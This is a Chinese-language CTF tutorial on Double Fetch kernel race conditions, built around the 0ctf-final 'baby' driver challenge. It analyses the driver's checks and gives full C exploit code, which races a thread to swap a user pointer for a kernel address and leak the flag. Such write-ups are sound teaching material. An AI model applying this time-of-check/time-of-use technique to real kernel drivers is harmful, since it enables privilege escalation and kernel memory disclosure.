Kernel Pwn基礎教程之 Double Fetch
一、前言
Double Fetch是一種條件競爭類型的漏洞,其主要形成的原因是由於用戶態與內核態之間的數據在進行交互時存在時間差,我們在先前的學習中有了解到內核在從用戶態中獲取數據時會使用函數copy_from_user,而如果要拷貝的數據過於複雜的話則內核會選擇引用其指針而將數據暫存於用戶態中等待後續處理,而在這時數據會存在被條件競爭修改原有數據的風險,也就是筆者要分享的Double Fetch的由來。
二、Double Fetch介紹
如下圖所示,用戶態首先準備好用戶態數據(prepare data),然後執行syscall進入內核態後,會對用戶態數據進行第一次fetch,這一次fetch主要是做一些檢測工作(如緩衝區大小、指針是否可用等),在檢查通過後會執行第二次fetch對數據進行實際操作。而在這期間是存在一定的時間差,如果我們在用戶態數據通過第一次check以後創建一個惡意進程利用二次fetch之間的時間差修改掉原先用戶態的數據,那麼在內核執行第二次fetch時處理的就並非原先通過檢測的數據,而是我們精心準備的惡意數據,而此類漏洞往往會引起訪問越界,緩衝區溢出最終造成惡意提權的情況。
三、Double Fetch例題
1、題目分析
本次選擇的例題是0ctf-final-baby,用IDA打開baby.ko進行逆向分析。驅動主要註冊了baby_ioctl函數,當第二個參數為0x6666時會使用printk函數輸出flag值在,可以通過dmesg命令查看printk函數的輸出結果。
不難看出flag是硬編碼在驅動文件中,可以看到flag的長度為33位。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: sub_25+25↑r
.data:0000000000000480 ; sub_25+D6↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
當第二個參數為0x1337時通過三次檢測則會對傳入的內容與flag進行比較,如果相同就通過printk函數輸出flag值。其中在三次檢測中使用到_chk_range_not_ok函數,前兩個參數不難理解,但是第三個參數在這裡比較難理解。
bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi
my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}
我們通過動態調試的方式定位在_chk_range_not_ok函數處,發現current_task+0x1358的結果就是0x7ffffffffffff000,也就是說這三次check的意思分別是:
1、判斷結構體的指針是否在用戶態
2、判斷結構體中flag地址指針是否在用戶態
3、判斷結構體中flag長度是否與內核flag長度相同
通過這三個檢測之後就會比對傳入結構體中flag值與內核的flag值是否相同,全部正確就會通過printk輸出內核中的flag值。
for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
2、漏洞利用
通過分析題目其實沒有十分明顯的漏洞點,但是如果我們以條件競爭的思路來看待這道題就會發現隱藏的漏洞點。如果我們首先在用戶態創建一個可以通過三次檢測的結構體指針(User_Data),那麼在這個數據在真正被處理之前是存在一定的時間差的,並且因為數據是保存在用戶態中,所以當我們開啟一個惡意進程不斷修改用戶態中flag地址為內核態的地址,那麼在實際處理數據時取出的就是內核地址,最終判斷的時候就是內核地址與內核地址的比較,最終輸出flag值並用dmesg命令查看輸出結果。
3、EXP
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int finish = 1;
struct message {
char *addr;
int len;
}data;
size_t flag_address = 0;
void read_flag_address() {
system("dmesg | grep flag > message.txt");
int fd = open("message.txt", O_RDWR);
char buf[0x60] = {0};
read(fd, buf, sizeof(buf));
size_t idx = strstr(buf, "at ") + 3;
sscanf(idx, "%llx", &flag_address);
printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
close(fd);
}
void evil_thread() {
while (finish == 1) {
data.addr = flag_address;
}
}
void main() {
pthread_t pthread;
int fd = open("/dev/baby", O_RDWR);
char buf[0x100] = {0};
ioctl(fd, 0x6666);
read_flag_address();
pthread_create(&pthread, NULL, evil_thread, NULL);
data.addr = buf;
data.len = 33;
for (int i = 0; i < 0x1000; i++) {
ioctl(fd, 0x1337, &data);
data.addr = buf;
}
finish = 0;
pthread_join(pthread, NULL);
system("dmesg | grep flag");
close(fd);
}
使用如下命令編譯elf文件,重新打包文件系統後執行start.sh,最終效果如下。
gcc -pthread -g -static -masm=intel -o exp exp.c
四、總結
Double Fetch 最為主要的就是培養以執行緒間條件競爭的角度來看待程式,從而發現一些比較隱蔽的漏洞。關於本次介紹的例題還有一種非預期的解法,可以通過在用戶態使用mmap的方式開闢兩塊記憶體地址,第一塊設置讀寫許可權,第二塊設置不可讀寫許可權,我們將需要比較的位元組放在第一塊記憶體的最後一個位元組中,當我們的判斷正確時就會繼續往下取值,這時就會從第二塊即不可讀寫的記憶體中取值,就會造成kernel panic,這時我們就可以判斷字元判斷成功。感興趣的師傅們可以自己嘗試實現一下。
更多靶場實驗練習、網安學習資料,請點擊這裡>>